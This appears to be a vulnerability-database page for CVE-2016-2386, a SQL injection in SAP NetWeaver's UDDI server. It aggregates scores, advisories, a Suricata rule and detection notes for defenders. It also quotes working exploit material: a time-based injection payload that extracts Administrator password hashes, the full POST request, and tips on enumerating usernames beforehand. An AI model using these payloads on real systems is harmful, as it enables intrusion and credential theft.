CVE-2016-2386
published 2016-02-16CVE-2016-2386: SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified…
PriorityP194critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-06-30
Exploited in the wild
EPSS
71.06%
99.3th percentile
SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, aka SAP Security Note 2101079.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| sap | netweaver_application_server_java | — | — |
Detection & IOCsextracted from sources · hover to see the quote
command1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1↗
snort
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible SAP NetWeaver SQL Injection Attempt Inbound (CVE-2016-2386)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/UDDISecurityImplBean"; fast_pattern; http.request_body; content:""; pcre:"/^[^\x3c]{,100}\x27/Ri"; reference:cve,2016-2386; classtype:attempted-admin; sid:2038696; rev:2; metadata:attack_target Server, created_at 2022_08_31, cve CVE_2016_2386, deployment Perimeter, deployment Internal, confidence Medium, signature_severity Major, tag Exploit, tag CISA_KEV, updated_at 2024_03_08, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)- →Exploit targets HTTP POST requests to the URI path /UDDISecurityService/UDDISecurityImplBean with Content-Type text/xml;charset=UTF-8 and an empty SOAPAction header; the body contains a SOAP envelope with a single-quote SQL injection payload inside the <authInfo> element. ↗
- →The time-based blind SQLi payload uses a cross-join of J2EE_CONFIGENTRY and UME_STRINGS tables; a server response time exceeding ~1.3 seconds indicates successful injection. Monitor for anomalously slow responses on the UDDI endpoint. ↗
- →Attacker enumerates SAP user credentials by querying UME_STRINGS for PID values matching the pattern '%PRIVATE_DATASOURCE.un:<username>%' and VAL matching SHA-512 hash strings. Detection should alert on SQL fragments containing PRIVATE_DATASOURCE.un: in HTTP request bodies. ↗
- →The CVE-2016-2388 information disclosure endpoints can be used as a precursor to this SQLi attack to harvest valid SAP usernames before exploitation. ↗
- →Alternative large tables used in the time-based injection to force delays include T_CHUNK (noted as very large), T_DOMAIN, T_SESSION, UME_ACL_PERM, UME_ACL_PERM_MEM, UME_STRINGS_PERM, UME_STRINGS_ACTN, BC_DDDBDP, BC_COMPVERS, TC_WDRR_MRO_LUT, TC_WDRR_MRO_FILES. SQL in request bodies referencing these table names should be treated as suspicious. ↗
- ·The exploit's timing threshold of 1.3 seconds is calibrated for a local SAP test server. In production environments with higher latency, this threshold must be tuned upward to avoid false negatives; conversely, a very low threshold may produce false positives. ↗
- ·The PoC hardcodes 'Administrator' as the target username, but real-world attackers will substitute other usernames (e.g., j2ee_admin). Detection rules should not be limited to the string 'Administrator'. ↗
- ·The exploit only retrieves the first 24 characters of the hash by default (loop range hardcoded to 24); the full hash may be longer. Defenders should not assume a 24-character limit when hunting for exfiltrated data. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
SAP NetWeaver SQL Injection Vulnerability
cisa·2022-06-09·CVSS 9.8
CVE-2016-2386 [CRITICAL] CWE-89 SAP NetWeaver SQL Injection Vulnerability
Vulnerability: SAP NetWeaver SQL Injection Vulnerability
Affected: SAP NetWeaver
SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2016-2386
Remediation Due Date: 2022-06-30
VulDB
SAP NetWeaver J2EE Engine 7.40 UDDI server sql injection (ID 2101079 / EDB-39840)
vuldb·2026-04-23·CVSS 9.8
CVE-2016-2386 [CRITICAL] SAP NetWeaver J2EE Engine 7.40 UDDI server sql injection (ID 2101079 / EDB-39840)
A vulnerability identified as critical has been detected in SAP NetWeaver J2EE Engine 7.40. The affected element is an unknown function of the component UDDI server. The manipulation leads to sql injection.
This vulnerability is traded as CVE-2016-2386. It is possible to initiate the attack remotely. Furthermore, there is an exploit available.
GHSA
GHSA-g384-79gw-fwh4: SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7
ghsa_unreviewed·2022-05-13
CVE-2016-2386 [CRITICAL] CWE-89 GHSA-g384-79gw-fwh4: SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7
SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors, aka SAP Security Note 2101079.
VulnCheck
SAP NetWeaver SQL Injection Vulnerability
vulncheck·2016·CVSS 9.8
CVE-2016-2386 [CRITICAL] CWE-89 SAP NetWeaver SQL Injection Vulnerability
SAP NetWeaver SQL Injection Vulnerability
SQL injection vulnerability in the UDDI server in SAP NetWeaver J2EE Engine 7.40 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.
Affected: SAP NetWeaver
Required Action: Apply updates per vendor instructions.
Exploitation References: https://onapsis.com/blog/three-actively-exploited-sap-vulnerabilities-identified-onapsis-research-labs; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.csoonline.com/article/2092336/sap-users-are-at-high-risk-as-hackers-exploit-application-vulnerabilities.html
Exploit PoC: https://vulncheck.com/xdb/a1ec325bed83; https://vulncheck.com/xdb/a6e1ca13fa66
Remediation Due: 2022-06-30
Suricata
ET EXPLOIT Possible SAP NetWeaver SQL Injection Attempt Inbound (CVE-2016-2386)
suricata·2022-08-31·CVSS 9.8
CVE-2016-2386 [CRITICAL] ET EXPLOIT Possible SAP NetWeaver SQL Injection Attempt Inbound (CVE-2016-2386)
ET EXPLOIT Possible SAP NetWeaver SQL Injection Attempt Inbound (CVE-2016-2386)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Possible SAP NetWeaver SQL Injection Attempt Inbound (CVE-2016-2386)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/UDDISecurityImplBean"; fast_pattern; http.request_body; content:""; pcre:"/^[^\x3c]{,100}\x27/Ri"; reference:cve,2016-2386; classtype:attempted-admin; sid:2038696; rev:2; metadata:attack_target Server, created_at 2022_08_31, cve CVE_2016_2386, deployment Perimeter, deployment Internal, confidence Medium, signature_severity Major, tag Exploit, tag CISA_KEV, updated_at 2024_03_08, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_P
Exploit-DB
SAP NetWeaver J2EE Engine 7.40 - SQL Injection
exploitdb·2018-01-10·CVSS 5.3
CVE-2016-2388 [MEDIUM] SAP NetWeaver J2EE Engine 7.40 - SQL Injection
SAP NetWeaver J2EE Engine 7.40 - SQL Injection
---
#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13
Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: nw74:50000
Content-Length: 500
1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='
Exploit-DB
SAP NetWeaver AS JAVA 7.1 < 7.5 - SQL Injection
exploitdb·2016-05-19
CVE-2016-2386 SAP NetWeaver AS JAVA 7.1 < 7.5 - SQL Injection
SAP NetWeaver AS JAVA 7.1
XXX
x' AND 1=(SELECT COUNT(*) FROM BC_UDV3_EL8EM_KEY) or
'1'='1
XXX
8. REPORT TIMELINE
Sent: 04.12.2015
Reported: 04.12.2015
Vendor response: 05.12.2015
Date of Public Advisory: 09.02.2016
9. REFERENCES
https://erpscan.com/advisories/erpscan-16-011-sap-netweaver-7-4-sql-injection-vulnerability/
10. ABOUT ERPScan Research
The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
v
No writeups or analysis indexed.
http://packetstormsecurity.com/files/137129/SAP-NetWeaver-AS-JAVA-7.5-SQL-Injection.htmlhttp://seclists.org/fulldisclosure/2016/May/56https://erpscan.io/advisories/erpscan-16-011-sap-netweaver-7-4-sql-injection-vulnerability/https://erpscan.io/press-center/blog/sap-security-notes-february-2016-review/https://github.com/vah13/SAP_exploithttps://www.exploit-db.com/exploits/39840/https://www.exploit-db.com/exploits/43495/http://packetstormsecurity.com/files/137129/SAP-NetWeaver-AS-JAVA-7.5-SQL-Injection.htmlhttp://seclists.org/fulldisclosure/2016/May/56https://erpscan.io/advisories/erpscan-16-011-sap-netweaver-7-4-sql-injection-vulnerability/https://erpscan.io/press-center/blog/sap-security-notes-february-2016-review/https://github.com/vah13/SAP_exploithttps://www.exploit-db.com/exploits/39840/https://www.exploit-db.com/exploits/43495/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-2386
2016-02-16
Published
2022-06-09
Added to CISA KEV
Exploited in the wild